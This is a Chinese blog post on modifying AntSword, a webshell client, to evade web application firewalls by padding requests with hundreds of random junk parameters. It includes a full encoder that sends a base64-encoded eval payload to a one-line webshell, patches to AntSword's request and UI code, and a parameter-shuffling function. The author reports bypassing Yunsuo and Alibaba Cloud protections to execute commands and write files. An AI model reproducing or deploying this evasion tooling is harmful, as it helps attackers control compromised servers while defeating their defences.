本人有意写一份系列文章,主要内容是分享蚁剑改造过程中的一些技巧与经验。
因为蚁剑的相关文档实在比较少,可能很多同学都像自己当初一样想要二次开发可是不知如何下手。
不敢贸然称之为教程,只是把改造的过程发出来供大家借鉴,希望其他同学能够少走弯路。
大家都知道垃圾数据填充可以用于SQL注入的绕过,原理就是WAF在遇到大量的GET或者POST参数的时候就会直接把数据直接抛给后端,从而就可以绕过各种各样恶心的过滤,大家常常把这种方法叫做缓冲区溢出。
原因可能是WAF厂商考虑到防止自身程序对于流量分析时间过长,导致用户正常的业务无法访问,所以不得已直接丢给后端。因为咱也没看过WAF内部的规则是怎么写的,所以暂时这样猜想。
同样的,既然都是直接把数据抛给后端,那么这种办法是否可以用于一句话流量的绕过呢,答案当然是可以的,只不过要稍加修改。因为实际测试过程中发现,仅仅在payload前面加上超长字符串对于某里云来说并没有卵用,似乎已经免疫。但是换了个思路,发现改成增加大量垃圾键值对之后就可以bypass,那就暂且把这种方法叫做增加垃圾数据绕过法吧。
这篇文章主要介绍这种方法,以及如何把这个功能移植到蚁剑上。
这篇文章本来是几个月前发在自己的星球里,名字叫做蚁剑编码器之流量混淆
。当时想着怎么方便怎么来,所以采用的是最简单、改动最小的一种实现方式--编码器实现。
这里全部采用了随机的方式来生成垃圾流量,随机变量名长度,随机变量值大小,随机变量个数。
let varname_min = 5; //变量名最小长度
let varname_max = 15; // 变量名最大长度
let data_min = 200; // 变量值最小长度
let data_max = 250; // 变量值最大长度
let num_min = 150; // 变量最小个数
let num_max = 250; // 变量最大个数
function randomString(length) { // 生成随机字符串
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
function randomInt(min, max) { //生成指定范围内的随机数
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
for (let i = 0; i < randomInt(num_min, num_max); i++) { //将混淆流量放入到payload数组中
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
那么怎么用呢
很简单,就直接把这段代码放到普通编码器里就可以了,这里以最基础的也是被各类WAF杀得妈都不认的base64编码器为例
'use strict';
/*
code by yzddMr6
*/
module.exports = (pwd, data, ext = {}) => {
let varname_min = 5;
let varname_max = 15;
let data_min = 200;
let data_max = 250;
let num_min = 100;
let num_max = 200;
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = Buffer.from(data['_']).toString('base64');
function randomString(length) {
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
function randomInt(min, max) {
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
for (let i = 0; i < randomInt(num_min, num_max); i++) {
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
data[pwd] = `@eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
本来想用安全狗,结果发现好像免费版不能拦截一句话。
那就用云锁开刀吧。
首先在虚拟机里放个一句话,就用某辣鸡项目生成的
可以正常运行
然后使用蚁剑默认的base64编码器连接试一下
云锁直接drop了数据包,没有返回,在云锁控制端显示受到攻击
然后使用我们上面的流量混淆编码器
shell正常连接,成功bypass云锁。
这一部分是后来补上的,因为白嫖的阿里云还有一天就到期了。。。
众所周知阿里云是以封IP著名,一言不合就全网ban你。不仅站x不了,甚至很多其他网站都打不开。。。
反正要到期了,码也懒得打了。
首先用backdoor study搭建个环境
这时候要找一个免杀马放上去,不然的话连接之前就被阿里云ban了
然后随便找个蚁剑的默认编码器连上去,第一个包还有回显,发第二个包的时候就已经被封IP了
这时候换上加了垃圾数据污染后的编码器
正常执行命令
写文件测试
bypass阿里云
理论上这种方法不管是asp php aspx jsp都可以用到,如果按照编码器实现的话就要建立四个编码器,觉得还是加入到核心功能中比较好。
这几天看了一下蚁剑的架构,感叹于设计者思路的精妙。
首先我们可以看看他modules目录下的request模块的内容
可以看到两个if else 语句
/**
* 监听HTTP请求
* @param {Object} event ipcMain事件对象
* @param {Object} opts 请求配置
* @return {[type]} [description]
*/
onRequest(event, opts) {
logger.debug('onRequest::opts', opts);
if (opts['url'].match(CONF.urlblacklist)) {
return event
.sender
.send('request-error-' + opts['hash'], "Blacklist URL");
}
let _request = superagent.post(opts['url']);
// 设置headers
_request.set('User-Agent', USER_AGENT);
// 自定义headers
for (let _ in opts.headers) {
_request.set(_, opts.headers[_]);
}
// 自定义body
const _postData = Object.assign({}, opts.body, opts.data);
if (opts['useChunk'] == 1) {
logger.debug("request with Chunked");
let _postarr = [];
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1);
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
let antstream = new AntRead(_postarr.join("&"), {
'step': parseInt(opts['chunkStepMin']),
'stepmax': parseInt(opts['chunkStepMax'])
});
xxxxxxx
} else {
// 通过替换函数方式来实现发包方式切换, 后续可改成别的
const old_send = _request.send;
let _postarr = [];
if (opts['useMultipart'] == 1) {
_request.send = _request.field;
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = (_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1)
});
_postarr[key] = _tmp;
}
}
} else {
_request.send = old_send;
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1)
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
_postarr = _postarr.join('&');
}
大概就是说如果开启了chunk传输后不拉不拉,否则的话就看看是否开启了Multipart,如果开启了不拉不拉,否则咕叽咕叽。
主要的payload是以字典的形式放到_postData
中,然后字典键跟值用=
连接后放到_postarr
数组中,最后再把_postarr
数组用&
连接起来就是我们最终发包的payload了。
那么这里也就是我们要下手修改的地方,照葫芦画瓢,再增加一个else语句
因为我这里都改好了,就直接截图说要改哪些点吧。
opts
为在界面中选择的选项,这里起个名字叫addMassData
然后要到source/core/base.js
中增加你的配置选项,注意的是蚁剑把普通请求跟下载请求的发包是分开的,所以需要改两处,自己vscode搜一下改一下。
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
});
})
}
后端改完之后要改前端了,前端修改内容是在source\modules\shellmanager\list\form.js
中存放
增加一个checkbox,注意label名字不要写错。
然后改语言文件,这个没什么好说的。
全部改完之后重启蚁剑(注意是把软件x掉重新双击打开,否则某些改动不会更新),设置中就可以看到我们新增加的增加垃圾数据
选项了
选中后发包测试一下
可以看到已经成功啦 一半
接着发现一个奇怪的问题,每次payload都是在第一个
这样肯定是不行的,所以我们还需要写一个随机函数,让字典随机排序
没有现成的函数,随手搓一个
附上辣鸡代码
function randomDict(dic){
let tmparray=[]
for(let i in dic){
tmparray.push(i)
}
tmparray=tmparray.sort((a, b)=> { return Math.random() > 0.5 ? -1 : 1; })
let finaldata={}
tmparray.forEach(i => {
finaldata[i]=dic[i]
});
return finaldata
}
然后出现了点小插曲
因为_postData
是const类型,不能直接修改
既然追求刺激,那就贯彻到底啦,直接改成let
再试一下就可以实现字典随机排序了
发现还可以正常使用,改了就改了吧
asp,aspx类型的shell都可以正常使用
参数个数可以根据实际情况自行修改,不过一般也不需要改,所以就没有写到UI中。
把参数个数改大可能会绕过更多waf,但是同样带来一个问题就是响应包会很慢,网络不好的情况下慎用。